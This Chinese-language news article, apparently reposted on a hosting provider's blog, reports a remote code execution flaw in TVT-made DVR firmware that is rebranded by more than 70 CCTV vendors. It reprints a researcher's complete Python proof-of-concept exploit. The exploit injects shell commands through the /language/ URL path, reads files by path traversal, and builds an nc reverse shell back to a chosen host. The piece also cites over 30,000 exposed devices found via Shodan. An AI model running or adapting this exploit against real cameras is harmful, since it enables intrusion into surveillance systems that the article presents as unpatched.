黑掉70多款监控摄像头?so easy!

近日,一位安全研究员发现70多个供应商售卖的监控摄像头很容易受到远程代码执行(RCE)攻击。

根据安全研究员Rotem Kemer研究发现,超过70个供应商售卖的监控摄像头都很容哟受到远程代码执行(RCE)攻击。

[[164830]]

研究人员注意到供应商正在售卖的商品使用的是同样的、易受到RCE攻击的固件。

在“白色标签”的经营模式下,各种各样的供应商只是简单地将自己的标签贴在相同的产品上进行售卖,但是不幸的是,他们都没有开发软件硬件的资格。

这个脆弱的固件是由一家中国制造商TVT开发的,Kerner分析之后发现了闭路电视系统的DVR盒易于攻击的原因。

使用这种固件的产品是在一家销售闭路电视系统的以色列公司购买的,其代码也表明了这是一个脆弱的HTTP服务器

安全漏洞依赖于服务器来检查是否存在给定语言的目录。如果该文件夹不存在,软件会通过提取远程命令来执行打开口令。

下面是研究人员的解释:

它会读取URL,如果URL包含以下的内容/language/[language]/index.html 。

如果该目录存在的话,就会提取斜杠之间的【language】内容并且进行检查;如果不存在,就会直接执行此命令

tar –zxf /mnt/mtd/WebSites/language.tar.gz [language]/* -C /nfsdir/language

这基本上就是给了我们一个远程命令执行的机会。

下面是影响固件漏洞的概念证明代码:

  1. #!/usr/bin/python  
  2. # http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html  
  3. __author__ = 'Rotem Kerner' 
  4. from sys import argv  
  5. import optparse  
  6. from urlparse import urlparse  
  7. from re import compile  
  8. import socket  
  9. import requests  
  10. from requests.exceptions import ConnectionError, Timeout, ContentDecodingError  
  11. from socket import timeout  
  12. def main():  
  13.     # parse command line options and atguments  
  14.     optparseoptparser = optparse.OptionParser(usage="%s <target-url> [options]" % argv[0])  
  15.     optparser.add_option('-c','--check',action="store_true",dest="checkvuln"default=False,  
  16.                          help="Check if target is vulnerable")  
  17.     optparser.add_option('-e','--exploit', action="store"type="string"dest="connback",  
  18.                          help="Fire the exploit against the given target URL")  
  19.     (options, args) = optparser.parse_args()  
  20.     try:  
  21.         target = args[0]  
  22.     except IndexError:  
  23.         optparser.print_help()  
  24.         exit()  
  25.     target_url = urlparse(target)  
  26.     # validating hostname  
  27.     if not target_url.hostname:  
  28.         print "[X] supplied target "%s" is not a valid URL" % target  
  29.         optparser.print_help()  
  30.         exit()  
  31.     # A little hack to handle read timeouts, since urllib2 doesnt give us this functionality.  
  32.     socket.setdefaulttimeout(10)  
  33.     # is -c flag on check if target url is vulnrable.  
  34.     if options.checkvuln is True:  
  35.         print "[!] Checking if target "%s" is vulnable..." % target_url.netloc  
  36.         try:  
  37.             # Write file  
  38.             raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}1>test&&tar${IFS}/string.js'  
  39.                          % (target_url.scheme, target_url.netloc))  
  40.             # Read the file.  
  41.             response = raw_url_request('%s:/%s/../../../../../../../mnt/mtd/test' % (target_url.scheme, target_url.netloc))  
  42.             # remove it..  
  43.             raw_url_request('%s://%s/language/Swedish${IFS}&&rm${IFS}test&&tar${IFS}/string.js'  
  44.                          % (target_url.scheme, target_url.netloc))  
  45.         except (ConnectionError, Timeout, timeout) as e:  
  46.             print "[X] Unable to connect. reason: %s.  exiting..." % e.message  
  47.             return  
  48.         if response.text[0] != '1':   
  49.             print "[X] Expected response content first char to be '1' got %s. exiting..." % response.text  
  50.             return  
  51.         print "[V] Target "%s" is vulnerable!" % target_url.netloc  
  52.     # if -e is on then fire exploit,  
  53.     if options.connback is not None:  
  54.         # Validate connect-back information.  
  55.         pattern = compile('(?P<host>[a-zA-Z0-9.-]+):(?P<port>[0-9]+)')  
  56.         match = pattern.search(options.connback)  
  57.         if not match:  
  58.             print "[X] given connect back "%s" should be in the format for host:port" % options.connback  
  59.             optparser.print_help()  
  60.             exit()  
  61.         # fire remote code execution!  
  62.         # Three ..  
  63.         try:  
  64.             raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}nc${IFS}%s${IFS}%s${IFS}>e&&${IFS}/a'  
  65.                         % (target_url.scheme, target_url.netloc, match.group('host'), match.group('port')))  
  66.         # Two ...  
  67.             raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}"-e${IFS}$SHELL${IFS}">>e&&${IFS}/a'  
  68.                          % (target_url.scheme, target_url.netloc))  
  69.         # One. Left off!  
  70.             raw_url_request('%s://%s/language/Swedish&&$(cat${IFS}e)${IFS}&>r&&${IFS}/s'  
  71.                          % (target_url.scheme, target_url.netloc))  
  72.         except (ConnectionError, Timeout, timeout) as e:  
  73.             print "[X] Unable to connect reason: %s.  exiting..." % e.message  
  74.         print "[V] Exploit payload sent!, if nothing went wrong we should be getting a reversed remote shell at %s:%s"   
  75.               % (match.group('host'), match.group('port'))  
  76. # Disabling URL encode hack  
  77. def raw_url_request(url):  
  78.     r = requests.Request('GET')  
  79.     r.url = url  
  80.     rr = r.prepare()  
  81.     # set url without encoding  
  82.     r.url = url  
  83.     s = requests.Session()  
  84.     return s.send(r)  
  85. if __name__ == '__main__':  
  86.     main() 

他注意到目前来说有数以万计的产品在使用这种HTTP服务器。他是在查询了Shodan搜索引擎之后做出的这样的肯定判断,而没在这种搜索引擎中的产品可能数量更多。

研究者说,“快速查询Shodan之后发现其分布超过三万;这已经很多了,但是我相信这还只是一小部分。”

Kerner试图向最初的制造商TVT报告这个问题,但是没有受到任何回复。

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/131416.html<

(0)
管理的头像管理
上一篇2025-02-26 13:07
下一篇 2025-02-26 13:08

相关推荐

  • 站群服务器和普通服务器到底哪个更适合GEO,怎么选?

    站群服务器更适合需要批量管理多个独立站点进行SEO的策略,而普通服务器在单站点权威性和稳定性上更优,但2026年百度对内容质量的要求让两者选择更依赖业务模式,站群服务器与普通服务器的核心差异定义与适用场景站群服务器本质是一台独享物理服务器,提供多个独立IP段(常为16、32或64个C段IP),每个IP绑定一个独……

    2026-07-28
    0
  • 物理服务器和云服务器做站群到底选哪个,哪个更稳定?

    做站群,物理服务器在核心指标上完全优于云服务器,尤其是对于追求稳定和长期排名的项目,物理服务器是唯一合理的选择,为什么物理服务器更适合站群站群的核心逻辑在于利用多个独立IP和站点,构建一个在网络中看似分散、但实际相互关联的矩阵,搜索引擎对IP关联性极其敏感,一旦检测到大量站点共享同一IP段或同一母机,惩罚风险会……

    2026-07-28
    0
  • 国内高防服务器哪家防御真实靠谱,怎么选?

    国内高防服务器哪家防御真实靠谱?答案很明确:只有那些持证上岗、自建机房、自己掌握清洗算法的服务商才靠得住,简米科技和酷番云就是这类代表,判断高防服务器真实防御能力的三个硬指标很多朋友选高防服务器,上来就问“你家多少G防御”,但数字背后水分很大,要判断防御是否真实,得看这三个方面:防御带宽是否独享? 有些服务商宣……

    2026-07-28
    0
  • 裸金属服务器和物理服务器有什么区别?,怎么选?

    裸金属服务器和物理服务器本质上是同一类硬件,核心区别在于交付逻辑和管理方式, 裸金属服务器是云服务商将物理服务器以云化方式交付,支持自动化部署、弹性伸缩和按需计费;而物理服务器通常指用户自购或托管,需要自行承担运维,两者在硬件层面完全相同,但业务模型和运维成本差异显著,裸金属服务器与物理服务器的定义差异裸金属服……

    2026-07-28
    0
  • 做GEO站群选哪家服务器服务商靠谱,怎么选?

    做SEO站群,选择服务器服务商的核心在于机房资质、IP资源与售后响应——简米科技与酷番云凭借持牌自营机房和多项权威认证,成为众多站群运营者的首选,站群服务器的高要求从何而来SEO站群依赖大量独立域名和IP地址,通过矩阵化布局获取长尾流量,搜索引擎对站群的识别逻辑越来越严,如果IP段集中、或服务器存在违规记录,很……

    2026-07-28
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注